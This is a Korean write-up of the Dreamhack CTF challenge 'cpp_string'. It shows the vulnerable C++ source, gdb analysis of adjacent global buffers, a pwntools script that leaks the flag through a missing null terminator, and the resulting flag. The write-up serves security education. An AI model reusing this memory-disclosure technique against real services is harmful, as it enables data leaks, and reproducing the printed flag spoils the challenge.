dreamhack - cpp_string writeup
[dreamhack] cpp_string writeup
1. 문제

cpp_string
이 문제는 서버에서 작동하고 있는 서비스(cpp_string)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾아 flag를 획득하세요!
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>
char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;
int read_file(){
std::ifstream is ("test", std::ifstream::binary);
if(is.is_open()){
is.read(readbuffer, sizeof(readbuffer));
is.close();
std::cout << "Read complete!" << std::endl;
return 0;
}
else{
std::cout << "No testfile...exiting.." << std::endl;
exit(0);
}
}
int write_file(){
std::ofstream of ("test", std::ifstream::binary);
if(of.is_open()){
std::cout << "Enter file contents : ";
std::cin >> writebuffer;
of.write(writebuffer.c_str(), sizeof(readbuffer));
of.close();
std::cout << "Write complete!" << std::endl;
return 0;
}
else{
std::cout << "Open error!" << std::endl;
exit(0);
}
}
int read_flag(){
std::ifstream is ("flag", std::ifstream::binary);
if(is.is_open()){
is.read(flag, sizeof(readbuffer));
is.close();
return 0;
}
else{
std::cout << "You must need flagfile.." << std::endl;
exit(0);
}
}
int show_contents(){
std::cout << "contents : ";
std::cout << readbuffer << std::endl;
return 0;
}
int main(void) {
initialize();
int selector = 0;
while(1){
std::cout << "Simple file system" << std::endl;
std::cout << "1. read file" << std::endl;
std::cout << "2. write file" << std::endl;
std::cout << "3. show contents" << std::endl;
std::cout << "4. quit" << std::endl;
std::cout << "[*] input : ";
std::cin >> selector;
switch(selector){
case 1:
read_flag();
read_file();
break;
case 2:
write_file();
break;
case 3:
show_contents();
break;
case 4:
std::cout << "BYEBYE" << std::endl;
exit(0);
}
}
}
코드가 길지만 간단히 요약하면
-
read_file :
test
파일로부터sizeof(readbuffer)
만큼 읽어서readbuffer
에 넣음 -
write_file : 입력한 내용을
sizeof(readbuffer)
만큼 읽어서writebuffer
에 넣고, 이어서 바로test
파일에 넣음 -
read_flag :
flag
파일로부터sizeof(readbuffer)
만큼 읽어서flag
에 넣음 -
show_contents :
readbuffer
에 있는 값을 출력함
readbuffer
, flag
, writebuffer
는 전역변수로 설정되어있고, No-PIE
이기 때문에 전역변수로 지정된 주소는 변하지 않을 것이다.
gdb
를 통해 해당 변수들의 주소를 확인해보자.
pwndbg> disass read_flag
Dump of assembler code for function _Z9read_flagv:
0x000000000040154b <+0>: push rbp
0x000000000040154c <+1>: mov rbp,rsp
0x000000000040154f <+4>: push rbx
0x0000000000401550 <+5>: sub rsp,0x218
0x0000000000401557 <+12>: mov rax,QWORD PTR fs:0x28
0x0000000000401560 <+21>: mov QWORD PTR [rbp-0x18],rax
0x0000000000401564 <+25>: xor eax,eax
0x0000000000401566 <+27>: lea rax,[rbp-0x220]
0x000000000040156d <+34>: mov edx,0x4
0x0000000000401572 <+39>: mov esi,0x4018fc
0x0000000000401577 <+44>: mov rdi,rax
0x000000000040157a <+47>: call 0x4010f0 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@plt>
0x000000000040157f <+52>: lea rax,[rbp-0x220]
0x0000000000401586 <+59>: mov rdi,rax
0x0000000000401589 <+62>: call 0x401170 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEE7is_openEv@plt>
0x000000000040158e <+67>: test al,al
0x0000000000401590 <+69>: je 0x4015e1 <_Z9read_flagv+150>
0x0000000000401592 <+71>: mov edx,0x40
0x0000000000401597 <+76>: lea rax,[rbp-0x220]
0x000000000040159e <+83>: mov esi,0x6023c0
0x00000000004015a3 <+88>: mov rdi,rax
0x00000000004015a6 <+91>: call 0x401010 <_ZNSi4readEPcl@plt>
read_flag
함수의 일부이다. 마지막 read
함수에서 esi
에 0x6023c0
을 넣어주는데, 해당 주소가 flag
변수의 주소일 것으로 보이므로 확인해보자.
pwndbg> x/10x 0x6023c0
0x6023c0 <flag>: 0x00000000 0x00000000 0x00000000 0x00000000
0x6023d0 <flag+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x6023e0 <flag+32>: 0x00000000 0x00000000
stripped: No
이므로 아마 전역변수 심볼을 그대로 확인할 수 있을 것이다.
pwndbg> p &readbuffer
$2 = (<data variable, no debug info> *) 0x602380 <readbuffer>
pwndbg> p &writebuffer
$3 = (<data variable, no debug info> *) 0x602400 <writebuffer[abi:cxx11]>
따라서 정리하면 아래와 같이 변수가 들어가있고, 각 변수는 0x40
만큼 떨어져있다.
변수명 | 주소 |
---|---|
readbuffer | 0x602380 |
flag | 0x6023c0 |
writebuffer | 0x602400 |
read_flag
, write_flag
, read_file
함수 모두에서 sizeof(readbuffer)
만큼 읽는데, 만약 64바이트를 모두 넣게되면 문자열을 출력할때 끊어줄 null
바이트가 없기 때문에 아래와 같은 상황이 가능하다.
- 1.
write_file
로 test 파일에 64바이트를 넣고, - 2.
read_flag
를 통해 flag를 읽고read_file
로readbuffer
를 64바이트 다 채우면, - 3.
show_contents
수행시readbuffer
에 들어간 test 파일과 flag 값이 모두 이어져서 나올 것
이를 이용해서 exploit을 작성하였다.
from pwn import *
p = remote("host3.dreamhack.games", 23498)
p.sendlineafter("input : ", "2")
dummy = b"a" * 64
p.sendlineafter("Enter file contents : ", dummy)
p.recvuntil("input : ")
p.sendline("1")
p.sendlineafter("input : ", "3")
p.interactive()
결과는 아래와 같다.
ubuntu@instance-20250406-1126:~/dreamhack/level1/cpp_string$ python3 e_cpp_string.py
[+] Opening connection to host3.dreamhack.games on port 23498: Done
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter("input : ", "2")
/home/ubuntu/.local/lib/python3.12/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("input : ")
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline("1")
/home/ubuntu/dreamhack/level1/cpp_string/e_cpp_string.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter("input : ", "3")
[*] Switching to interactive mode
contents : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDH{549390a9beb20a8d0e9a6aa0efcb571f}
Simple file system
1. read file
2. write file
3. show contents
4. quit
[*] input : [*] Got EOF while reading in interactive
cpp 코드와 함수가 익숙하진 않았지만 (특히 gdb 열었을 때 좀 놀랐다…) 흐름 파악 후에는 크게 어렵진 않았다.
해결~